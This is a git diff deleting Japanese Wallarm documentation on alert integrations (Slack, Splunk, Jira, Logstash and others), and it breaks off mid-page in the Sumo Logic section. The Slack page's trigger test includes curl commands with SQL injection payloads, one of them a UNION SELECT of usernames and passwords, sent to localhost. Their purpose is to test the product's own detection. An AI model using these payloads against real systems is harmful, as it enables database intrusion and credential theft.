
        中間データコネクタとしてのFluentd

        -

        他システムとの連携のための中間システムとしてFluentdを使用します

        -
        -
        -
        -
        -

        中間データコネクタとしてのFluentd

        -

        他システムとの連携のための中間システムとしてFluentdを使用します

        -
        - -

        Wallarm → Fluentd → IBM QRadar

        -

        Fluentd経由でIBM QRadarにログを送信します

        -         - -

        Wallarm → Fluentd → Splunk Enterprise

        -

        Fluentd経由でSplunk Enterpriseにログを送信します

        -         - -

        Wallarm → Fluentd → Micro Focus ArcSight Logger

        -

        Fluentd経由でMicro Focus ArcSight Loggerに通知を送信します

        -         - -

        Wallarm → Fluentd → Datadog

        -

        Fluentd経由でDatadogに通知を送信します

        -         -
        -
        -
        - -

        Logstash

        -

        検出イベントの通知をLogstashに送信したり、他システムとの連携のための中間システムとしてLogstashを使用します

        -
        - -

        ネイティブインテグレーション

        -

        検出イベントの通知をLogstashそのものに送信します

        -         -
        -

        中間データコネクタとしてのLogstash

        -

        他システムとの連携のための中間システムとしてLogstashを使用します

        -
        -
        -
        -
        -

        中間データコネクタとしてのLogstash

        -

        他システムとの連携のための中間システムとしてLogstashを使用します

        -
        - -

        Wallarm → Logstash → IBM QRadar

        -

        Logstash経由でIBM QRadarにログを送信します

        -         - -

        Wallarm → Logstash → Splunk Enterprise

        -

        Logstash経由でSplunk Enterpriseにログを送信します

        -         - -

        Wallarm → Logstash → Micro Focus ArcSight Logger

        -

        Logstash経由でMicro Focus ArcSight Loggerに通知を送信します

        -         - -

        Wallarm → Logstash → Datadog

        -

        Logstash経由でDatadogに通知を送信します

        -         -
        -
        - -## データコレクター経由のインテグレーション - -
        -
        -
        - -

        IBM QRadar

        -

        FluentdまたはLogstash経由でIBM QRadarにログを送信します

        -
        -
        - -

        Splunk Enterprise

        -

        FluentdまたはLogstash経由でSplunk Enterpriseにログを送信します

        -
        -
        - -

        Micro Focus ArcSight Logger

        -

        FluentdまたはLogstash経由でMicro Focus ArcSight Loggerに通知を送信します

        -
        -
        - -

        Datadog

        -

        FluentdまたはLogstash経由でDatadog Logsサービスにイベントを送信します

        -
        -
        -
        -
        - -

        IBM QRadar

        -

        FluentdまたはLogstash経由でIBM QRadarにログを送信します

        -
        - -

        Wallarm → Fluentd → IBM QRadar

        -

        Fluentd経由でIBM QRadarにログを送信します

        -         - -

        Wallarm → Logstash → IBM QRadar

        -

        Logstash経由でIBM QRadarにログを送信します

        -         -
        -
        -
        - -

        Splunk Enterprise

        -

        FluentdまたはLogstash経由でSplunk Enterpriseにログを送信します

        -
        - -

        Wallarm → Fluentd → Splunk Enterprise

        -

        Fluentd経由でSplunk Enterpriseにログを送信します

        -         - -

        Wallarm → Logstash → Splunk Enterprise

        -

        Logstash経由でSplunk Enterpriseにログを送信します

        -         -
        -
        -
        - -

        Micro Focus ArcSight Logger

        -

        FluentdまたはLogstash経由でMicro Focus ArcSight Loggerに通知を送信します

        -
        - -

        Wallarm → Fluentd → Micro Focus ArcSight Logger

        -

        Fluentd経由でMicro Focus ArcSight Loggerに通知を送信します

        -         - -

        Wallarm → Logstash → Micro Focus ArcSight Logger

        -

        Logstash経由でMicro Focus ArcSight Loggerに通知を送信します

        -         -
        -
        -
        - -

        Datadog

        -

        FluentdまたはLogstash経由でDatadog Logsサービスにイベントを送信します

        -
        - -

        Wallarm → Fluentd → Datadog

        -

        Fluentd経由でDatadogにログを送信します

        -         - -

        Wallarm → Logstash → Datadog

        -

        Logstash経由でDatadogにログを送信します

        -         -
        -
        - -## その他のシステム - -
        -
        - - -

        Webhook

        -

        汎用コネクタ:HTTPSプロトコルで受信Webhookを受け付ける任意のシステムに即時通知を送信します

        -         - - -

        Request integration

        -

        お探しのシステムが見つからない場合はお知らせください。インテグレーションが可能か検討し、ご連絡します。

        -         -
        -
        - - \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/jira.md b/docs/latest-ja/user-guides/settings/integrations/jira.md deleted file mode 100644 index 7ecfbc5898..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/jira.md +++ /dev/null @@ -1,41 +0,0 @@ -# Atlassian Jira - -[Jira](https://www.atlassian.com/software/jira)はAtlassianが開発した広く利用されているプロジェクト管理および課題追跡ソフトウェアです。[脆弱性](../../../glossary-en.md#vulnerability)が検出された際に、すべてのリスクレベル、または選択したリスクレベル（高・中・低）のみを対象に、WallarmがJiraに課題を作成するように設定できます。 - -## インテグレーションの設定 - -Jira UIで： - -1. [こちら](https://support.atlassian.com/atlassian-account/docs/manage-api-tokens-for-your-atlassian-account/#Create-an-API-token)に記載の手順に従ってAPI tokenを生成します。 -1. 生成したAPI tokenをコピーします。 - -Wallarm UIで： - -1. Wallarm Console → Integrations → Jiraを開きます。 -1. integration nameを入力します。 -1. Jira hostを入力します（例：`https://company-x.atlassian.net/`）。 -1. Jiraの認証に必要で、作成される課題のReporterの識別にも使用されるJira user emailを入力します。 -1. 生成したAPI tokenを貼り付けます。emailとtokenは、指定したJira hostでWallarmを認証するために検証されます。成功すると、このJiraユーザーで利用可能なspaceが一覧表示されます。 -1. 課題を作成するJiraのspaceを選択します。選択すると、そのspaceでサポートされているissue typesの一覧が表示されます。 -1. 作成される課題が属するJiraのissue typeを選択します。 -1. 通知をトリガーするevent typesを選択します。すべての脆弱性、または特定のリスクレベルのみを選択できます。 - - ![Jiraインテグレーション](../../../images/user-guides/settings/integrations/add-jira-integration.png) - -1. 構成が正しいか、Wallarm Cloudの到達性、通知のフォーマットを確認するために**Test integration**をクリックします。 - - Jira課題作成のテスト： - - ![Jira課題作成のテスト](../../../images/user-guides/settings/integrations/test-jira-issue-creation.png) - -1. **Add integration**をクリックします。 - ---8<-- "../include/cloud-ip-by-request.md" - -## インテグレーションの無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可と不正なインテグレーションパラメータ - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/logstash.md b/docs/latest-ja/user-guides/settings/integrations/logstash.md deleted file mode 100644 index 3839df3c0b..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/logstash.md +++ /dev/null @@ -1,193 +0,0 @@ -# Logstash - -[Logstash](https://www.elastic.co/logstash)はElasticにより開発されたオープンソースのデータ処理およびログ管理ツールです。WallarmをLogstashに検出イベントの通知を送信するように設定できます。 - -## 通知形式 - -Wallarmは**webhooks**によるJSON形式でLogstashに通知を送信します。JSONオブジェクトのセットは、Wallarmが通知するイベントによって異なります。 - -新しいhitが検出された場合の通知例: - -```json -[ - { - "summary": "[Wallarm] New hit detected", - "details": { - "client_name": "TestCompany", - "cloud": "EU", - "notification_type": "new_hits", - "hit": { - "domain": "www.example.com", - "heur_distance": 0.01111, - "method": "POST", - "parameter": "SOME_value", - "path": "/news/some_path", - "payloads": [ - "say ni" - ], - "point": [ - "post" - ], - "probability": 0.01, - "remote_country": "PL", - "remote_port": 0, - "remote_addr4": "8.8.8.8", - "remote_addr6": "", - "tor": "none", - "request_time": 1603834606, - "create_time": 1603834608, - "response_len": 14, - "response_status": 200, - "response_time": 5, - "stamps": [ - 1111 - ], - "regex": [], - "stamps_hash": -22222, - "regex_hash": -33333, - "type": "sqli", - "block_status": "monitored", - "id": [ - "hits_production_999_202010_v_1", - "c2dd33831a13be0d_AC9" - ], - "object_type": "hit", - "anomaly": 0 - } - } - } -] -``` - -## 要件 - -Logstashの構成は次の要件を満たす必要があります: - -* POSTまたはPUTリクエストを受け付けること -* HTTPSリクエストを受け付けること -* パブリックURLを持っていること - -Logstashの構成例: - -```bash linenums="1" -input { - http { # HTTPおよびHTTPSトラフィック用のinputプラグイン - port => 5044 # 受信リクエスト用のポート - ssl => true # HTTPSトラフィックの処理 - ssl_certificate => "/etc/server.crt" # LogstashのTLS証明書 - ssl_key => "/etc/server.key" # TLS証明書用の秘密鍵 - } -} -output { - stdout {} # コマンドラインにLogstashのログを出力するためのoutputプラグイン - ... -} -``` - -詳細は[Logstashの公式ドキュメント](https://www.elastic.co/guide/en/logstash/current/configuration-file-structure.html)をご参照ください。 - -## インテグレーションの設定 - -1. Wallarm Console → **Integrations** → **Logstash**でLogstashインテグレーションの設定に進みます。 -1. インテグレーション名を入力します。 -1. 対象のLogstash URL（Webhook URL）を指定します。 -1. 必要に応じて詳細設定を構成します: - - --8<-- "../include/integrations/webhook-advanced-settings.md" -1. 通知をトリガーするイベントタイプを選択します。 - - ![Logstashインテグレーション](../../../images/user-guides/settings/integrations/add-logstash-integration.png) - - 利用可能なイベントの詳細: - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. **Test integration**をクリックして、設定の正しさ、Wallarm Cloudの可用性、および通知形式を確認します。 - - テスト用Logstashログ: - - ```json - [ - { - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ] - ``` - -1. **Add integration**をクリックします。 - ---8<-- "../include/cloud-ip-by-request.md" - -## 追加のアラートの設定 - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## 中間データコレクターとしてLogstashを使用する - ---8<-- "../include/integrations/webhook-examples/overview.md" - -例: - -![Webhookフロー](../../../images/user-guides/settings/integrations/webhook-examples/logstash/qradar-scheme.png) - -この方式でWallarmのイベントを記録するには: - -1. データコレクターが受信したwebhooksを読み取り、ログを次のシステムに転送するように構成します。Wallarmはwebhooks経由でイベントをデータコレクターに送信します。 -1. SIEMシステムがデータコレクターからログを取得して読み取れるように構成します。 -1. Wallarmがログをデータコレクターに送信するように構成します。 - - Wallarmはwebhooksを介して任意のデータコレクターにログを送信できます。 - - WallarmをFluentdまたはLogstashと統合するには、Wallarm Console UIの対応するintegration cardsを使用できます。 - - その他のデータコレクターとWallarmを統合するには、Wallarm Console UIの[webhook integration card](webhook.md)を使用できます。 - -以下に、SIEMシステムへログを転送する一般的なデータコレクターとのインテグレーション設定例をいくつか示します: - -* [Wallarm → Logstash → IBM QRadar](webhook-examples/logstash-qradar.md) -* [Wallarm → Logstash → Splunk Enterprise](webhook-examples/logstash-splunk.md) -* [Wallarm → Logstash → Micro Focus ArcSight Logger](webhook-examples/logstash-arcsight-logger.md) -* [Wallarm → Logstash → Datadog](webhook-examples/fluentd-logstash-datadog.md) - - Wallarmは[Datadog API経由のDatadogとのネイティブインテグレーション](datadog.md)にも対応しています。ネイティブインテグレーションでは中間データコレクターは不要です。 - -## インテグレーションの無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/microsoft-teams.md b/docs/latest-ja/user-guides/settings/integrations/microsoft-teams.md deleted file mode 100644 index a4ed015751..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/microsoft-teams.md +++ /dev/null @@ -1,48 +0,0 @@ -# Microsoft Teams - -[Microsoft Teams](https://www.microsoft.com/en-us/microsoft-teams/group-chat-software)は、チームワークを促進し、オフィス勤務、リモート勤務、またはその組み合わせのいずれであっても、組織が効果的にコミュニケーション、コラボレーション、プロジェクト管理を行えるよう設計されたコラボレーションおよびコミュニケーションプラットフォームです。Wallarmを設定してMicrosoft Teamsのチャネルに通知を送信できます。複数の異なるチャネルに通知を送信したい場合は、Microsoft Teamsインテグレーションを複数作成してください。 - -## インテグレーションの設定 - -1. **Integrations**セクションを開きます。 -1. **Microsoft Teams**ブロックをクリックするか、**Add integration**ボタンをクリックして**Microsoft Teams**を選択します。 -1. インテグレーション名を入力します。 -1. 通知を投稿するMicrosoft Teamsチャネルの設定を開き、[手順](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/add-incoming-webhook)に従って新しいWebhookを設定します。 -1. 提供されたWebhook URLをコピーし、Wallarm Consoleの**Webhook URL**フィールドに貼り付けます。 -1. 通知をトリガーするイベントタイプを選択します。 - - ![MS Teamsインテグレーション](../../../images/user-guides/settings/integrations/add-ms-teams-integration.png) - - 利用可能なイベントの詳細: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. **Test integration**をクリックして、設定の正しさ、Wallarm Cloudの可用性、および通知形式を確認します。 - - これにより、接頭辞`[Test message]`付きのテスト通知が送信されます: - - ``` - [Test message] [Test partner] ネットワークペリメーターが変更されました - - 通知タイプ: new_scope_object_ips - - ネットワークペリメーターで新しいIPアドレスが検出されました: - 8.8.8.8 - - クライアント: TestCompany - クラウド: EU - ``` - -1. **Add integration**をクリックします。 - -## 追加アラートの設定 - ---8<-- "../include/integrations/integrations-trigger-setup-limited.md" - -## インテグレーションの無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可およびインテグレーションパラメータの誤り - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/opsgenie.md b/docs/latest-ja/user-guides/settings/integrations/opsgenie.md deleted file mode 100644 index 195ca8967c..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/opsgenie.md +++ /dev/null @@ -1,84 +0,0 @@ -# Opsgenie - -[Opsgenie](https://www.atlassian.com/software/opsgenie)はAtlassianによるインシデント管理およびアラートツールです。Wallarmを設定してOpsgenieにアラートを送信できます。 - -## インテグレーションの設定 - -[Opsgenie UI](https://app.opsgenie.com/teams/list): - -1. 自分のチーム ➝ **Integrations**に移動します。 -2. **Add integration**ボタンをクリックし、**API**を選択します。 -3. 新しいインテグレーションの名前を入力し、**Save Integration**をクリックします。 -4. 提供されたAPI keyをコピーします。 - -Wallarm UI: - -1. **Integrations**セクションを開きます。 -1. **Opsgenie**ブロックをクリックするか、**Add integration**ボタンをクリックして**Opsgenie**を選択します。 -1. インテグレーション名を入力します。 -1. コピーしたAPI keyを**API key**フィールドに貼り付けます。 -1. Opsgenieの[EUインスタンス](https://docs.opsgenie.com/docs/european-service-region)を使用している場合は、リストから適切なOpsgenieのAPIエンドポイントを選択します。既定ではUSインスタンスのエンドポイントが設定されています。 -1. 通知をトリガーするイベントタイプを選択します。 - - ![Opsgenieインテグレーション](../../../images/user-guides/settings/integrations/add-opsgenie-integration.png) - - 利用可能なイベントの詳細: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. **Test integration**をクリックして、設定の正しさ、Wallarm Cloudの到達性、および通知フォーマットを確認します。 - - これにより、接頭辞`[Test message]`付きのテスト通知が送信されます: - - ![Opsgenieのテストメッセージ](../../../images/user-guides/settings/integrations/test-opsgenie-new-vuln.png) - -1. **Add integration**をクリックします。 - ---8<-- "../include/cloud-ip-by-request.md" - -## 追加のアラートの設定 - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -### 例: 1秒間に2件以上のインシデントが検出された場合のOpsgenie通知 - -アプリケーションサーバーまたはデータベースに関するインシデントが1秒間に2件以上検出された場合、このイベントについての通知がOpsgenieに送信されます。 - -![Splunkにデータを送信するトリガーの例](../../../images/user-guides/triggers/trigger-example3.png) - -**トリガーをテストするには**、アクティブな脆弱性を悪用する攻撃を保護対象のリソースに送信する必要があります。Wallarm Console → **Vulnerabilities**セクションには、アプリケーションで検出されたアクティブな脆弱性と、それらの脆弱性を悪用する攻撃の例が表示されます。 - -攻撃例を保護対象のリソースに送信すると、Wallarmがインシデントを記録します。記録されたインシデントが2件以上になると、次の通知がOpsgenieに送信されます: - -``` -[Wallarm] トリガー: インシデント数がしきい値を超えました - -通知タイプ: incidents_exceeded - -1秒間に検出されたインシデント数が1を超えました。 -この通知は「Notification about incidents」トリガーによって起動されました。 - -追加のトリガー条件: -対象: server, database. - -イベントを表示: -https://my.wallarm.com/attacks?q=incidents&time_from=XXXXXXXXXX&time_to=XXXXXXXXXX - -クライアント: TestCompany -クラウド: EU -``` - -* `Notification about incidents`はトリガー名です -* `TestCompany`はWallarm Console内の貴社アカウント名です -* `EU`は貴社アカウントが登録されているWallarm Cloudです - -!!! info "アクティブな脆弱性の悪用からリソースを保護する" - リソースをアクティブな脆弱性の悪用から保護するには、脆弱性を適時にパッチ適用することを推奨します。アプリケーション側でパッチ適用できない場合は、この脆弱性を悪用する攻撃をブロックするために[仮想パッチ](../../rules/vpatch-rule.md)を設定してください。 - -## インテグレーションの無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可および誤ったインテグレーションパラメータ - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/pagerduty.md b/docs/latest-ja/user-guides/settings/integrations/pagerduty.md deleted file mode 100644 index ff9dd8f23d..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/pagerduty.md +++ /dev/null @@ -1,59 +0,0 @@ -[link-pagerduty-docs]: https://support.pagerduty.com/docs/services-and-integrations - -# PagerDuty - -[PagerDuty](https://www.pagerduty.com/)は、組織がインシデントをより効果的に管理・解決し、デジタルオペレーションの信頼性を確保するためのインシデント管理・対応プラットフォームです。WallarmからPagerDutyにインシデントを送信するように設定できます。 - -## 連携の設定 - -PagerDuty UIで、既存のサービスのいずれかに対して[連携を設定][link-pagerduty-docs]するか、Wallarm専用の新しいサービスを作成します: - -1. **Configuration** → **Services**に移動します。 -2. 既存のサービスの設定を開くか、**New Service**ボタンをクリックします。 -3. 新しい連携を作成します: - - * 既存のサービスの連携を設定する場合は、**Integrations**タブに移動し、**New Integration**ボタンをクリックします。 - * 新しいサービスを作成する場合は、サービス名を入力し、**Integration Settings**セクションに進みます。 -4. 連携名を入力し、連携タイプとして**Use our API directly**オプションを選択します。 -5. 設定を保存します: - - * 既存のサービスの連携を設定している場合は、**Add Integration**ボタンをクリックします。 - * 新しいサービスを作成している場合は、残りのセクションを設定し、**Add Service**ボタンをクリックします。 - -5. 提供された**Integration Key**をコピーします。 - -Wallarm UIでは: - -1. **Integrations**セクションを開きます。 -1. **PagerDuty**ブロックをクリックするか、**Add integration**ボタンをクリックして**PagerDuty**を選択します。 -1. 連携名を入力します。 -1. **Integration Key**の値を該当フィールドに貼り付けます。 -1. 通知をトリガーするイベントタイプを選択します。 - - ![PagerDuty連携](../../../images/user-guides/settings/integrations/add-pagerduty-integration.png) - - 利用可能なイベントの詳細: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. 設定が正しいか、Wallarm Cloudが利用可能か、通知の形式を確認するために**Test integration**をクリックします。 - - これにより、接頭辞`[Test message]`付きのテスト通知が送信されます: - - ![PagerDutyのテスト通知](../../../images/user-guides/settings/integrations/test-pagerduty-scope-changed.png) - -1. **Add integration**をクリックします。 - ---8<-- "../include/cloud-ip-by-request.md" - -## 追加のアラートの設定 - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## 連携の無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可および誤った連携パラメータ - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/servicenow.md b/docs/latest-ja/user-guides/settings/integrations/servicenow.md deleted file mode 100644 index b6ee38beec..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/servicenow.md +++ /dev/null @@ -1,46 +0,0 @@ -# ServiceNow - -[ServiceNow](https://www.servicenow.com/)は、エンタープライズ向けに幅広いITサービスマネジメント（ITSM）およびビジネスプロセス自動化ソリューションを提供するクラウドベースのプラットフォームです。Wallarmを設定してServiceNowにトラブルチケットを作成できます。 - -## 要件 - -ServiceNowは、企業の業務運用におけるデジタルワークフローの管理を支援するプラットフォームです。これらのアプリをWallarmと統合するには、貴社が保有するServiceNowの[インスタンスおよびその中で構築されたワークフローアプリ](https://www.servicenow.com/lpdem/demonow-cloud-platform-app-dev.html)が必要です。 - -## 統合の設定 - -ServiceNow UIで： - -1. ご利用の[ServiceNowインスタンス](https://docs.servicenow.com/bundle/tokyo-application-development/page/build/team-development/concept/c_InstanceHierarchies.html)名を確認します。 -1. インスタンスにアクセスするためのユーザー名とパスワードを確認します。 -1. OAuth認証を有効化し、[こちら](https://docs.servicenow.com/bundle/tokyo-application-development/page/integrate/inbound-rest/task/t_EnableOAuthWithREST.html)の説明に従ってclient IDとsecretを取得します。 - -Wallarm UIで： - -1. Wallarm Console → **Integrations** → **ServiceNow**を開きます。 -1. 統合名を入力します。 -1. ServiceNowインスタンス名を入力します。 -1. 指定したインスタンスにアクセスするためのユーザー名とパスワードを入力します。 -1. OAuth認証データ（client IDとsecret）を入力します。 -1. 通知をトリガーするイベントタイプを選択します。 - - ![ServiceNow統合](../../../images/user-guides/settings/integrations/add-servicenow-integration.png) - - 利用可能なイベントの詳細： - - --8<-- "../include/integrations/events-for-integrations.md" - -1. 構成の正しさ、Wallarm Cloudの到達性、および通知形式を確認するために**Test integration**をクリックします。 - - これにより、接頭辞`[Test message]`が付いたテスト通知が送信されます。 - -1. **Add integration**をクリックします。 - ---8<-- "../include/cloud-ip-by-request.md" - -## 統合の無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可および統合パラメータの誤り - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/slack.md b/docs/latest-ja/user-guides/settings/integrations/slack.md deleted file mode 100644 index a9336f19fb..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/slack.md +++ /dev/null @@ -1,121 +0,0 @@ -# Slack - -[Slack](https://slack.com/)は広く使用されているクラウドベースのチームコラボレーションおよびメッセージングプラットフォームです。チームがメッセージをやり取りし、ファイルを共有し、他のツールやサービスと連携するための集中スペースを提供することで、組織内のコミュニケーションとコラボレーションを促進するよう設計されています。WallarmからSlackチャンネルに通知を送信するように設定できます。複数の異なるSlackチャンネルやアカウントに通知を送信したい場合は、Slack integrationを複数作成します。 - -## Integrationの設定 - -1. **Integrations**セクションを開きます。 -1. **Slack**ブロックをクリックするか、**Add integration**ボタンをクリックして**Slack**を選択します。 -1. integrationの名前を入力します。 -1. [SlackのWebhook設定](https://my.slack.com/services/incoming-webhook/)を開き、メッセージを投稿するチャンネルを選択して新しいWebhookを追加します。 -1. 提供されたWebhook URLをコピーし、Wallarm UIの**Webhook URL**フィールドに値を貼り付けます。 -1. 通知をトリガーするイベントタイプを選択します。 - - ![Slack integration](../../../images/user-guides/settings/integrations/add-slack-integration.png) - - 利用可能なイベントの詳細: - - --8<-- "../include/integrations/events-for-integrations.md" - -1. **Test integration**をクリックして、設定の正しさ、Wallarm Cloudの到達性、および通知形式を確認します。 - - これにより、`[Test message]`というプレフィックス付きのテスト通知が送信されます: - - ``` - [Test message] [Test partner] Network perimeter has changed - - Notification type: new_scope_object_ips - - New IP addresses were discovered in the network perimeter: - 8.8.8.8 - - Client: TestCompany - Cloud: EU - ``` - -1. **Add integration**をクリックします。 - -## 追加アラートの設定 - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -### 例: 1分間に2件以上のSQLi hitsが検出された場合のSlack通知 - -保護対象リソースに2件以上のSQLi [hits](../../../glossary-en.md#hit)が送られた場合、このイベントに関する通知がSlackチャンネルに送信されます。 - -![Slackに通知を送信するトリガーの例](../../../images/user-guides/triggers/trigger-example1.png) - -**トリガーをテストするには:** - -保護対象リソースに以下のリクエストを送信します: - -```bash -curl 'http://localhost/?id=1%27%20UNION%20SELECT%20username,%20password%20FROM%20users--' -curl 'http://localhost/?id=1%27%20select%20version();' -``` -Slackチャンネルを開き、次のとおりユーザー**wallarm**からの通知が受信されていることを確認します: - -``` -[Wallarm] Trigger: The number of detected hits exceeded the threshold - -Notification type: attacks_exceeded - -The number of detected hits exceeded 1 in 1 minute. -This notification was triggered by the "Notification about SQLi hits" trigger. - -Additional trigger’s clauses: -Attack type: SQLi. - -View events: -https://my.wallarm.com/attacks?q=attacks&time_from=XXXXXXXXXX&time_to=XXXXXXXXXX - -Client: TestCompany -Cloud: EU -``` - -* `Notification about SQLi hits` はトリガー名です -* `TestCompany` はWallarm Consoleにおける貴社の会社アカウント名です -* `EU` は貴社の会社アカウントが登録されているWallarm Cloudです - -### 例: アカウントに新規ユーザーが追加された場合のSlackおよびメール通知 - -Wallarm Consoleの会社アカウントに**Administrator**または**Analyst**ロールの新しいユーザーが追加されると、このイベントに関する通知がintegrationに指定したメールアドレスとSlackチャンネルに送信されます。 - -![Slackおよびメールで通知を送信するトリガーの例](../../../images/user-guides/triggers/trigger-example2.png) - -**トリガーをテストするには:** - -1. Wallarm Consoleで**Settings** → **Users**を開き、新しいユーザーを追加します。例: - - ![追加したユーザー](../../../images/user-guides/settings/integrations/webhook-examples/adding-user.png) -2. メールの受信トレイを開き、次のメッセージが受信されていることを確認します: - - ![新規ユーザー追加に関するメール](../../../images/user-guides/triggers/test-new-user-email-message.png) -3. Slackチャンネルを開き、次のとおりユーザー**wallarm**からの通知が受信されていることを確認します: - - ``` - [Wallarm] Trigger: New user was added to the company account - - Notification type: create_user - - A new user John Smith with the role Analyst was added to the company account by John Doe . - This notification was triggered by the "Added user" trigger. - - Client: TestCompany - Cloud: EU - ``` - - * `John Smith` と `johnsmith@example.com` は追加されたユーザーの情報です - * `Analyst` は追加されたユーザーのロールです - * `John Doe` と `johndoe@example.com` は新しいユーザーを追加したユーザーの情報です - * `Added user` はトリガー名です - * `TestCompany` はWallarm Consoleにおける貴社の会社アカウント名です - * `EU` は貴社の会社アカウントが登録されているWallarm Cloudです - -## integrationの無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可およびintegrationパラメータの誤り - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/splunk.md b/docs/latest-ja/user-guides/settings/integrations/splunk.md deleted file mode 100644 index 0c8af46fd0..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/splunk.md +++ /dev/null @@ -1,97 +0,0 @@ -[splunk-dashboard-by-wallarm-img]: ../../../images/user-guides/settings/integrations/splunk-dashboard-by-wallarm.png - -# Splunk - -[Splunk](https://www.splunk.com/)は、ログ、イベント、その他の運用・業務データなどの機械生成データを検索、監視、分析するために設計されたプラットフォームです。Wallarmを設定してSplunkにアラートを送信できます。 - -## インテグレーションの設定 - -Splunk UIで: - -1. **Settings** ➝ **Add Data** ➝ **Monitor**を開きます。 -2. **HTTP Event Collector**オプションを選択し、インテグレーション名を入力して**Next**をクリックします。 -3. Input Settingsページではデータタイプの選択をスキップし、Review Settingsへ進みます。 -4. 設定内容を確認して**Submit**します。 -5. 表示されたトークンをコピーします。 - -Wallarm UIで: - -1. **Integrations**セクションを開きます。 -1. **Splunk**ブロックをクリックするか、**Add integration**ボタンをクリックして**Splunk**を選択します。 -1. インテグレーション名を入力します。 -1. コピーしたトークンを**HEC token**フィールドに貼り付けます。 -1. SplunkインスタンスのHEC URIとポート番号を**HEC URI:PORT**フィールドに貼り付けます。例えば: `https://hec.splunk.com:8088`。 -1. 通知をトリガーするイベントタイプを選択します。 - - ![Splunkインテグレーション](../../../images/user-guides/settings/integrations/add-splunk-integration.png) - - 利用可能なイベントの詳細: - - --8<-- "../include/integrations/advanced-events-for-integrations.md" - -1. 構成の正しさ、Wallarm Cloudへの接続可否、通知形式を確認するには、**Test integration**をクリックします。 - - JSON形式のSplunk通知のテスト: - - ```json - { - summary:"[Test message] [Test partner(US)] New vulnerability detected", - description:"Notification type: vuln - - New vulnerability was detected in your system. - - ID: - Title: Test - Domain: example.com - Path: - Method: - Discovered by: - Parameter: - Type: Info - Threat: Medium - - More details: https://us1.my.wallarm.com/object/555 - - - Client: TestCompany - Cloud: US - ", - details:{ - client_name:"TestCompany", - cloud:"US", - notification_type:"vuln", - vuln_link:"https://us1.my.wallarm.com/object/555", - vuln:{ - domain:"example.com", - id:null, - method:null, - parameter:null, - path:null, - title:"Test", - discovered_by:null, - threat:"Medium", - type:"Info" - } - } - } - ``` - -1. **Add integration**をクリックします。 - ---8<-- "../include/cloud-ip-by-request.md" - -## 追加アラートの設定 - ---8<-- "../include/integrations/integrations-trigger-setup.md" - -## ダッシュボードにイベントを整理する - ---8<-- "../include/integrations/application-for-splunk.md" - -## インテグレーションの無効化と削除 - ---8<-- "../include/integrations/integrations-disable-delete.md" - -## システムの利用不可およびインテグレーションパラメータの誤り - ---8<-- "../include/integrations/integration-not-working.md" \ No newline at end of file diff --git a/docs/latest-ja/user-guides/settings/integrations/sumologic.md b/docs/latest-ja/user-guides/settings/integrations/sumologic.md deleted file mode 100644 index 281a86eec2..0000000000 --- a/docs/latest-ja/user-guides/settings/integrations/sumologic.md +++ /dev/null @@ -1,88 +0,0 @@ -# Sumo Logic - -[Sumo Logic](https://www.sumologic.com/)は、IT運用、セキュリティ、アプリケーションパフォーマンスに関するリアルタイムの洞察を組織に提供するクラウドネイティブなマシンデータ分析プラットフォームです。WallarmからSumo Logicへメッセージを送信するように設定できます。 - -## インテグレーションの設定 - -Sumo LogicのUIで： - -1. [手順](https://help.sumologic.com/03Send-Data/Hosted-Collectors/Configure-a-Hosted-Collector)に従ってHosted Collectorを構成します。 -2. [手順](https://help.sumologic.com/03Send-Data/Sources/02Sources-for-Hosted-Collectors/HTTP-Source)に従ってHTTP Logs & Metrics Sourceを構成します。 -3. 表示された**HTTP Source Address (URL)**をコピーします。 - -WallarmのUIで： - -1. 「**Integrations**」セクションを開きます。 -1. 「**Sumo Logic**」ブロックをクリックするか、「**Add integration**」ボタンをクリックして**Sumo Logic**を選択します。 -1. インテグレーション名を入力します。 -1. コピーしたHTTP 